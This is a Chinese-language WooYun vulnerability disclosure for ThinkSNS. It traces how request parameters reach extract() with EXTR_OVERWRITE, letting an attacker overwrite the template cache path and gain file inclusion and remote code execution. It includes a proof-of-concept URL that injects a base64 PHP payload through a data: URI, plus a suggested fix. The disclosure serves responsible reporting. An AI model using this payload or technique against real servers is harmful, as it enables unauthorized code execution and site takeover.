当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-043945

漏洞标题:ThinkSNS getshell一枚

相关厂商:ThinkSNS

漏洞作者: 猪头子

提交时间:2013-11-24 23:21

修复时间:2014-02-22 23:21

公开时间:2014-02-22 23:21

漏洞类型:文件包含

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-11-24: 细节已通知厂商并且等待厂商处理中
2013-11-24: 厂商已经确认,细节仅向厂商公开
2013-11-27: 细节向第三方安全合作伙伴开放
2014-01-18: 细节向核心白帽子及相关领域专家公开
2014-01-28: 细节向普通白帽子公开
2014-02-07: 细节向实习白帽子公开
2014-02-22: 细节向公众公开

简要描述:

ThinkSNS某处处理不当导致get shell

详细说明:

\apps\public\Lib\Action\CommentAction.class.php reply函数

public function reply() {
$var = $_GET;
$var['initNums'] = model('Xdata')->getConfig('weibo_nums', 'feed');
$var['commentInfo'] = model('Comment')->getCommentInfo($var['comment_id'], false);
$var['canrepost'] = $var['commentInfo']['table'] == 'feed' ? 1 : 0;
$var['cancomment'] = 1;
// 获取原作者信息
$rowData = model('Feed')->get(intval($var['commentInfo']['row_id']));
$appRowData = model('Feed')->get($rowData['app_row_id']);
$var['user_info'] = $appRowData['user_info'];
// 微博类型
$var['feedtype'] = $rowData['type'];
// $var['cancomment_old'] = ($var['commentInfo']['uid'] != $var['commentInfo']['app_uid'] && $var['commentInfo']['app_uid'] != $this->uid) ? 1 : 0;
$var['initHtml'] = L('PUBLIC_STREAM_REPLY').'@'.$var['commentInfo']['user_info']['uname'].' :'; // 回复
$this->assign($var);
$this->display();
}


不管中间过程,$var被赋值被$_GET,并在最后进入了assign函数
\core\OpenSociax\Action.class.php assign

public function assign($name,$value='') {
if(is_array($name)) {
$this->tVar = array_merge($this->tVar,$name);
}elseif(is_object($name)){
foreach($name as $key =>$val)
$this->tVar[$key] = $val;
}else {
$this->tVar[$name] = $value;
}
}


assign其实就是给模板变量赋值,也就是说我们的$_GET最后进入了模板变量中。
然后回到一开始的reply函数,可以看到在最后调用了display:
\core\OpenSociax\functions.inc.php display函数

// 输出模版
function display($templateFile='',$tvar=array(),$charset='UTF8',$contentType='text/html') {
fetch($templateFile,$tvar,$charset,$contentType,true);
}


fetch找到相应的模板并和我们提交的变量结合编译之:
\core\OpenSociax\Action.class.php fetch函数

protected function fetch($templateFile='',$charset='utf-8',$contentType='text/html',$display=false) {
$this->assign('appCssList',$this->appCssList);
$this->assign('langJsList', $this->langJsList);
Addons::hook('core_display_tpl', array('tpl'=>$templateFile,'vars'=>$this->tVar,'charset'=>$charset,'contentType'=>$contentType,'display'=>$display));
return fetch($templateFile, $this->tVar, $charset, $contentType, $display);
}


把请求转发给真正的fetch函数:
\core\OpenSociax\functions.inc.php

function fetch($templateFile='',$tvar=array(),$charset='utf-8',$contentType='text/html',$display=false) {
//注入全局变量ts
global $ts;
$tvar['ts'] = $ts;
//$GLOBALS['_viewStartTime'] = microtime(TRUE);
if(null===$templateFile)
// 使用null参数作为模版名直接返回不做任何输出
return ;
if(empty($charset)) $charset = C('DEFAULT_CHARSET');
// 网页字符编码
header("Content-Type:".$contentType."; charset=".$charset);
header("Cache-control: private"); //支持页面回跳
//页面缓存
ob_start();
ob_implicit_flush(0);
// 模版名为空.
if(''==$templateFile){
$templateFile = APP_TPL_PATH.'/'.MODULE_NAME.'/'.ACTION_NAME.'.html';
// 模版名为ACTION_NAME
}elseif(file_exists(APP_TPL_PATH.'/'.MODULE_NAME.'/'.$templateFile.'.html')) {
$templateFile = APP_TPL_PATH.'/'.MODULE_NAME.'/'.$templateFile.'.html';
// 模版是绝对路径
}elseif(file_exists($templateFile)){
// 模版不存在
}else{
throw_exception(L('_TEMPLATE_NOT_EXIST_').'['.$templateFile.']');
}
//模版缓存文件
$templateCacheFile = C('TMPL_CACHE_PATH').'/'.APP_NAME.'_'.tsmd5($templateFile).'.php';
//载入模版缓存
if(!$ts['_debug'] && file_exists($templateCacheFile)) {
//if(1==2){ //TODO 开发
extract($tvar, EXTR_OVERWRITE); //exploit!
//var_dump($_SESSION);
//载入模版缓存文件
include $templateCacheFile; //getshell here!
//重新编译
}else{
tshook('tpl_compile',array('templateFile',$templateFile));
// 缓存无效 重新编译
tsload(CORE_LIB_PATH.'/Template.class.php');
tsload(CORE_LIB_PATH.'/TagLib.class.php');
tsload(CORE_LIB_PATH.'/TagLib/TagLibCx.class.php');
$tpl = Template::getInstance();
// 编译并加载模板文件
$tpl->load($templateFile,$tvar,$charset);//getshell here!
}
... ...
}


分析下这个函数的逻辑:
首先判断模板文件是否存在,不存在则尝试加载默认模板文件,如果加载失败就异常退出
其次如果模板文件存在,那么该文件是否缓存过,如果缓存过,那么直接include缓存文件,在include前使用extract对模板变量赋值
如果模板没有缓存,是第一次被调用,那么就编译模板文件并加载它
在使用缓存的时候程序用extract对变量进行赋值,可以看到第二个参数,EXTR_OVERWIRTE,表示如果某变量已经存在,那么就覆盖这个变量。
下面看看非缓存情况下的处理:
\core\OpenSociax\Template.class.php load函数

// 加载模板
public function load($templateFile,$templateVar,$charset) {
$this->tVar = $templateVar;
$templateCacheFile = $this->loadTemplate($templateFile);
// 模板阵列变量分解成为独立变量
extract($templateVar, EXTR_OVERWRITE);
//载入模版缓存文件
include $templateCacheFile;
}


与缓存情况下相同,也是调用extract来覆盖变量,由于第二个参数的使用,因此如果模板变量可控的话,我们可以覆盖任意变量。
可以覆盖$templateCacheFile变量,这样变量覆盖就变成了任意文件包含,并可getshell.

漏洞证明:

上传一个jpg,然后include之:

2.jpg


在allow_url_include为on下可以这样getshell:

http://www.evil.com/thinksns/index.php?app=public&mod=Comment&act=reply&templateCacheFile=data:text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b


getshell.jpg

修复方案:

方法有多种,结合业务需要来做:

extract($tvar, EXTR_OVERWRITE);
//载入模版缓存文件
include $templateCacheFile.'.php';

版权声明:转载请注明来源 猪头子@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:10

确认时间:2013-11-24 23:29

厂商回复:

非常感谢反馈!

最新状态:

暂无